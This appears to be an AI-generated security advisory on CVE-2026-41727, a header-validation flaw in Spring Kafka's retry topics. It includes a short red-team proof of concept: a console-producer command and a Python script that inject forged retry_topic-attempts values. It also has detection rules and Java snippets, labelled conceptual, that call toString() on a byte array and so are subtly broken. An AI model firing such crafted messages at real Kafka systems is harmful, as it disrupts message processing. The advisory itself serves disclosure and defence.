CVE-2026-41727

Executive Summary

CVE-2026-41727 is an input validation vulnerability in the Spring for Apache Kafka (Spring Kafka) library. The vulnerability resides in the retry topic infrastructure, where user-controlled header values (retry_topic-attempts) are not sufficiently validated before being used to determine the retry sequence position. An attacker who can produce a message to a Kafka topic can craft a malicious header with an out-of-range attempt count, causing the retry topic router to misidentify the message's position in the retry sequence. This can lead to incorrect retry behavior, potentially causing message loss, infinite retry loops, or bypassing retry logic entirely. The CVSS score is 6.5 (Medium), with a low EPSS score of 0.0% indicating no active exploitation in the wild at the time of analysis. No public proof-of-concept or exploit code is available.

Supply Chain & Package Security

This vulnerability affects the Spring for Apache Kafka library, which is distributed via Maven Central as part of the Spring ecosystem. Organizations using Spring Boot with Kafka integration are at risk. The library is a transitive dependency in many enterprise applications. Since no patch is currently available, organizations must rely on workarounds and monitoring. The vulnerability is not related to any specific package manager (NPM, PyPI, Go, Ruby) but is a Java/Maven ecosystem issue.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
• Attack Vector (AV): Network – The attacker can send a crafted message over the network.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – The attacker does not need authentication.
• User Interaction (UI): None – No user action is needed.
• Scope (S): Unchanged – The vulnerability does not affect other components.
• Confidentiality (C): None – No data disclosure.
• Integrity (I): Low – The retry sequence can be manipulated, potentially causing incorrect message handling.
• Availability (A): Low – The vulnerability can cause message loss or infinite retry loops, impacting system availability.

Threat Level: Medium. While the CVSS score is 6.5, the lack of public exploits and low EPSS score reduce immediate risk. However, the potential for business logic disruption (e.g., order processing, payment retries) makes it a significant concern for affected systems.

Deep Dive & Mechanics

The vulnerability is in the retry topic infrastructure of Spring Kafka. When a message fails to process, Spring Kafka can automatically retry by sending the message to a retry topic. The retry topic router uses a header named retry_topic-attempts to track how many times the message has been retried. The router reads this header to determine the next retry topic or when to give up.

The flaw is that the value of retry_topic-attempts is not validated. An attacker who can produce a message to the source topic can set this header to an out-of-range value (e.g., a negative number, a very large number, or a non-integer). The router then uses this value to calculate the next step in the retry sequence. This can cause:

1. Infinite Retry Loop: Setting the attempt count to a value that never reaches the maximum retry limit.
2. Bypass Retry Logic: Setting the attempt count to a value that makes the router think the message has already been retried the maximum number of times, causing it to be sent to the dead-letter topic prematurely.
3. Message Loss: The router may send the message to a non-existent topic or drop it entirely.

The vulnerability is exploitable by any producer that can write to the Kafka topic. This includes authenticated producers within the network or, if the Kafka cluster is exposed, external attackers.

Vulnerable vs. Patched Code

Since no patch is available, the following is a conceptual comparison.

Vulnerable Code (Conceptual):

// In RetryTopicConfigurationSupport or similar class
public int getAttempts(ConsumerRecord<?, ?> record) {
    String attemptsHeader = record.headers().lastHeader("retry_topic-attempts").value().toString();
    return Integer.parseInt(attemptsHeader); // No validation
}

Patched Code (Conceptual):

public int getAttempts(ConsumerRecord<?, ?> record) {
    Header header = record.headers().lastHeader("retry_topic-attempts");
    if (header == null) {
        return 0;
    }
    String attemptsHeader = header.value().toString();
    try {
        int attempts = Integer.parseInt(attemptsHeader);
        if (attempts < 0 || attempts > MAX_RETRY_ATTEMPTS) {
            throw new IllegalArgumentException("Invalid retry attempt count: " + attempts);
        }
        return attempts;
    } catch (NumberFormatException e) {
        throw new IllegalArgumentException("Invalid retry attempt header value", e);
    }
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a Kafka topic that uses Spring Kafka retry topics.
• Ability to produce messages to that topic.

Exploitation Steps:

1. Identify a Kafka topic that is consumed by a Spring Kafka application with retry enabled.
2. Craft a message with a malicious retry_topic-attempts header.
3. Produce the message to the topic.

Example using Kafka console producer:

# Create a message with a negative attempt count
echo '{"key": "test", "value": "malicious"}' | kafka-console-producer \
  --broker-list localhost:9092 \
  --topic my-topic \
  --property "parse.headers=true" \
  --property "headers=retry_topic-attempts:-1"

Example using Python with kafka-python:

from kafka import KafkaProducer
import json

producer = KafkaProducer(bootstrap_servers='localhost:9092',
                         value_serializer=lambda v: json.dumps(v).encode('utf-8'))

# Create a message with a very large attempt count
future = producer.send('my-topic',
                       value={'data': 'test'},
                       headers=[('retry_topic-attempts', b'999999')])
result = future.get(timeout=60)
print(result)

Expected Outcome: The Spring Kafka consumer will process the message, fail (or succeed), and the retry topic router will use the malicious header value, causing incorrect retry behavior.

Blue Team

Detection:

• Monitor Kafka consumer logs for errors related to retry topic routing.
• Look for messages with unusual retry_topic-attempts header values (negative, very large, non-numeric).
• Use the detection rules below.

Mitigation:

• Implement a custom interceptor or filter to validate headers before they reach the retry topic router.
• Use Kafka ACLs to restrict which producers can write to topics.
• Monitor for anomalous retry patterns (e.g., messages stuck in retry loops).

Indicators of Compromise (IOCs)

• Network: Unusual Kafka produce requests with custom headers.
• Logs: Spring Kafka logs containing errors like Invalid retry attempt count or Unexpected retry topic routing.
• Kafka Topics: Messages in retry topics with retry_topic-attempts header values outside the expected range (e.g., negative, > max retries).
• Application Behavior: Messages being sent to dead-letter topics prematurely or stuck in infinite retry loops.

Detection Engineering

YARA Rule

rule CVE_2026_41727_Spring_Kafka_Retry_Header {
    meta:
        description = "Detects malicious retry_topic-attempts header in Kafka messages"
        author = "Valters IT"
        date = "2026-01-01"
        cve = "CVE-2026-41727"
    strings:
        $header = "retry_topic-attempts"
        $negative = /retry_topic-attempts:\s*-\d+/
        $large = /retry_topic-attempts:\s*\d{4,}/
    condition:
        $header and ($negative or $large)
}

Sigma Rule

title: CVE-2026-41727 - Spring Kafka Retry Header Manipulation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2026-41727 by sending messages with malicious retry_topic-attempts headers
author: Valters IT
date: 2026-01-01
logsource:
    category: application
    product: spring_kafka
detection:
    selection:
        header_name: "retry_topic-attempts"
        header_value|re: "^-\\d+|^\\d{4,}"
    condition: selection
falsepositives:
    - Legitimate use of custom retry headers (rare)
level: high

Suricata Rule

alert tcp any any -> any 9092 (msg:"CVE-2026-41727 Spring Kafka Retry Header Manipulation"; flow:to_server; content:"retry_topic-attempts"; nocase; pcre:"/retry_topic-attempts:\s*(-\d+|\d{4,})/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Monitor the Spring Kafka project for a patched version. Apply the patch as soon as it is released.
2. Workaround: Implement a custom Kafka interceptor or consumer interceptor to validate the retry_topic-attempts header before it is processed by the retry topic router.
3. Network Segmentation: Restrict network access to Kafka brokers to only trusted producers.
4. Authentication: Ensure Kafka producers are authenticated and authorized using SASL/SSL and ACLs.

Long-term Actions:

• Implement input validation for all user-controlled headers in your Kafka consumers.
• Use a Web Application Firewall (WAF) or API gateway to inspect Kafka produce requests if they go through an HTTP proxy.
• Conduct a security review of all Spring Kafka configurations.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.